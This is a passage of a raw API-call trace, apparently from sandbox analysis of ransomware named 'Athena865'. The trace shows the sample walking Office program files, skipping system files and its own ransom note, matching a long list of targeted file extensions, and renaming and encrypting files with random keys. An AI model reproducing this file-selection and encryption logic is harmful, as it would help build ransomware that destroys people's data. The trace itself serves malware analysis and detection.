lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0074.732] lstrlenW (lpString="kexis") returned 5 [0074.732] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0074.732] lstrlenW (lpString="lgc") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0074.732] lstrlenW (lpString="lwx") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0074.733] lstrlenW (lpString="maf") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0074.733] lstrlenW (lpString="maq") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0074.733] lstrlenW (lpString="mar") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0074.733] lstrlenW (lpString="marshal") returned 7 [0074.733] lstrcmpiW (lpString1="eUi.dll", lpString2="marshal") returned -1 [0074.733] lstrlenW (lpString="mas") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0074.733] lstrlenW (lpString="mav") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0074.733] lstrlenW (lpString="maw") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0074.733] lstrlenW (lpString="mdbhtml") returned 7 [0074.733] lstrcmpiW (lpString1="eUi.dll", lpString2="mdbhtml") returned -1 [0074.733] lstrlenW (lpString="mdn") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0074.733] lstrlenW (lpString="mdt") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0074.733] lstrlenW (lpString="mfd") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0074.733] lstrlenW (lpString="mpd") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0074.733] lstrlenW (lpString="mrg") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0074.733] lstrlenW (lpString="mud") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0074.733] lstrlenW (lpString="mwb") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0074.733] lstrlenW (lpString="myd") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0074.733] lstrlenW (lpString="ndf") returned 3 [0074.733] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0074.733] lstrlenW (lpString="nnt") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0074.734] lstrlenW (lpString="nrmlib") returned 6 [0074.734] lstrcmpiW (lpString1="Ui.dll", lpString2="nrmlib") returned 1 [0074.734] lstrlenW (lpString="ns2") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0074.734] lstrlenW (lpString="ns3") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0074.734] lstrlenW (lpString="ns4") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0074.734] lstrlenW (lpString="nsf") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0074.734] lstrlenW (lpString="nv") returned 2 [0074.734] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0074.734] lstrlenW (lpString="nv2") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0074.734] lstrlenW (lpString="nwdb") returned 4 [0074.734] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0074.734] lstrlenW (lpString="nyf") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0074.734] lstrlenW (lpString="odb") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0074.734] lstrlenW (lpString="odb") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0074.734] lstrlenW (lpString="oqy") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0074.734] lstrlenW (lpString="ora") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0074.734] lstrlenW (lpString="orx") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0074.734] lstrlenW (lpString="owc") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0074.734] lstrlenW (lpString="p96") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0074.734] lstrlenW (lpString="p97") returned 3 [0074.734] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0074.735] lstrlenW (lpString="pan") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0074.735] lstrlenW (lpString="pdb") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0074.735] lstrlenW (lpString="pdm") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0074.735] lstrlenW (lpString="pnz") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0074.735] lstrlenW (lpString="qry") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0074.735] lstrlenW (lpString="qvd") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0074.735] lstrlenW (lpString="rbf") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0074.735] lstrlenW (lpString="rctd") returned 4 [0074.735] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0074.735] lstrlenW (lpString="rod") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0074.735] lstrlenW (lpString="rodx") returned 4 [0074.735] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0074.735] lstrlenW (lpString="rpd") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0074.735] lstrlenW (lpString="rsd") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0074.735] lstrlenW (lpString="sas7bdat") returned 8 [0074.735] lstrcmpiW (lpString1="meUi.dll", lpString2="sas7bdat") returned -1 [0074.735] lstrlenW (lpString="sbf") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0074.735] lstrlenW (lpString="scx") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0074.735] lstrlenW (lpString="sdb") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0074.735] lstrlenW (lpString="sdc") returned 3 [0074.735] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0074.735] lstrlenW (lpString="sdf") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0074.736] lstrlenW (lpString="sis") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0074.736] lstrlenW (lpString="spq") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0074.736] lstrlenW (lpString="te") returned 2 [0074.736] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0074.736] lstrlenW (lpString="teacher") returned 7 [0074.736] lstrcmpiW (lpString1="eUi.dll", lpString2="teacher") returned -1 [0074.736] lstrlenW (lpString="tmd") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0074.736] lstrlenW (lpString="tps") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0074.736] lstrlenW (lpString="trc") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0074.736] lstrlenW (lpString="trc") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0074.736] lstrlenW (lpString="trm") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0074.736] lstrlenW (lpString="udb") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0074.736] lstrlenW (lpString="udl") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0074.736] lstrlenW (lpString="usr") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0074.736] lstrlenW (lpString="v12") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0074.736] lstrlenW (lpString="vis") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0074.736] lstrlenW (lpString="vpd") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0074.736] lstrlenW (lpString="vvv") returned 3 [0074.736] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0074.736] lstrlenW (lpString="wdb") returned 3 [0074.737] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0074.737] lstrlenW (lpString="wmdb") returned 4 [0074.737] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0074.737] lstrlenW (lpString="wrk") returned 3 [0074.737] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0074.737] lstrlenW (lpString="xdb") returned 3 [0074.737] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0074.737] lstrlenW (lpString="xld") returned 3 [0074.737] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0074.737] lstrlenW (lpString="xmlff") returned 5 [0074.737] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0074.737] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.dll.Athena865") returned 104 [0074.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.dll.athena865"), dwFlags=0x1) returned 1 [0074.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.742] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=665472) returned 1 [0074.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.743] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.743] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.743] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2a80, lpName=0x0) returned 0x17c [0074.744] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa2a80) returned 0x2d50000 [0074.771] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.772] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.772] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.773] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.778] CloseHandle (hObject=0x17c) returned 1 [0074.778] CloseHandle (hObject=0x154) returned 1 [0074.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.781] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2=".") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="..") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="windows") returned -1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="bootmgr") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="temp") returned -1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="pagefile.sys") returned -1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="boot") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="ids.txt") returned 1 [0074.781] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="ntuser.dat") returned -1 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="perflogs") returned -1 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2="MSBuild") returned -1 [0074.782] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned 51 [0074.782] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.xml" | out: lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned="Microsoft.Office.BusinessApplications.RuntimeUi.xml" [0074.782] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned 51 [0074.782] lstrlenW (lpString="Athena865") returned 9 [0074.782] lstrcmpiW (lpString1="imeUi.xml", lpString2="Athena865") returned 1 [0074.782] lstrlenW (lpString=".dll") returned 4 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2=".dll") returned 1 [0074.782] lstrlenW (lpString=".lnk") returned 4 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2=".lnk") returned 1 [0074.782] lstrlenW (lpString=".ini") returned 4 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2=".ini") returned 1 [0074.782] lstrlenW (lpString=".sys") returned 4 [0074.782] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpString2=".sys") returned 1 [0074.782] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned 51 [0074.782] lstrlenW (lpString="bak") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0074.782] lstrlenW (lpString="ba_") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0074.782] lstrlenW (lpString="dbb") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0074.782] lstrlenW (lpString="vmdk") returned 4 [0074.782] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0074.782] lstrlenW (lpString="rar") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0074.782] lstrlenW (lpString="zip") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0074.782] lstrlenW (lpString="tgz") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0074.782] lstrlenW (lpString="vbox") returned 4 [0074.782] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0074.782] lstrlenW (lpString="vdi") returned 3 [0074.782] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0074.783] lstrlenW (lpString="vhd") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0074.783] lstrlenW (lpString="vhdx") returned 4 [0074.783] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0074.783] lstrlenW (lpString="avhd") returned 4 [0074.783] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0074.783] lstrlenW (lpString="db") returned 2 [0074.783] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0074.783] lstrlenW (lpString="db2") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0074.783] lstrlenW (lpString="db3") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0074.783] lstrlenW (lpString="dbf") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0074.783] lstrlenW (lpString="mdf") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0074.783] lstrlenW (lpString="mdb") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0074.783] lstrlenW (lpString="sql") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0074.783] lstrlenW (lpString="sqlite") returned 6 [0074.783] lstrcmpiW (lpString1="Ui.xml", lpString2="sqlite") returned 1 [0074.783] lstrlenW (lpString="sqlite3") returned 7 [0074.783] lstrcmpiW (lpString1="eUi.xml", lpString2="sqlite3") returned -1 [0074.783] lstrlenW (lpString="sqlitedb") returned 8 [0074.783] lstrcmpiW (lpString1="meUi.xml", lpString2="sqlitedb") returned -1 [0074.783] lstrlenW (lpString="xml") returned 3 [0074.783] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0074.783] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Athena865") returned 104 [0074.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.athena865"), dwFlags=0x1) returned 1 [0074.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.785] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=178) returned 1 [0074.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.785] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.786] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.786] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.786] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c0, lpName=0x0) returned 0x17c [0074.789] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c0) returned 0x100000 [0074.790] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.792] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.792] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.792] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.792] CloseHandle (hObject=0x17c) returned 1 [0074.792] CloseHandle (hObject=0x154) returned 1 [0074.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.793] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2=".") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="..") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="windows") returned -1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="bootmgr") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="temp") returned -1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="pagefile.sys") returned -1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="boot") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="ids.txt") returned 1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="ntuser.dat") returned -1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="perflogs") returned -1 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="MSBuild") returned -1 [0074.793] lstrlenW (lpString="Microsoft.Office.BusinessData.dll") returned 33 [0074.793] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessData.dll" | out: lpString1="Microsoft.Office.BusinessData.dll") returned="Microsoft.Office.BusinessData.dll" [0074.793] lstrlenW (lpString="Microsoft.Office.BusinessData.dll") returned 33 [0074.793] lstrlenW (lpString="Athena865") returned 9 [0074.793] lstrcmpiW (lpString1="sData.dll", lpString2="Athena865") returned 1 [0074.793] lstrlenW (lpString=".dll") returned 4 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2=".dll") returned 1 [0074.793] lstrlenW (lpString=".lnk") returned 4 [0074.793] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2=".lnk") returned 1 [0074.794] lstrlenW (lpString=".ini") returned 4 [0074.794] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2=".ini") returned 1 [0074.794] lstrlenW (lpString=".sys") returned 4 [0074.794] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2=".sys") returned 1 [0074.794] lstrlenW (lpString="Microsoft.Office.BusinessData.dll") returned 33 [0074.794] lstrlenW (lpString="bak") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0074.794] lstrlenW (lpString="ba_") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0074.794] lstrlenW (lpString="dbb") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0074.794] lstrlenW (lpString="vmdk") returned 4 [0074.794] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0074.794] lstrlenW (lpString="rar") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0074.794] lstrlenW (lpString="zip") returned 3 [0074.794] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0074.794] 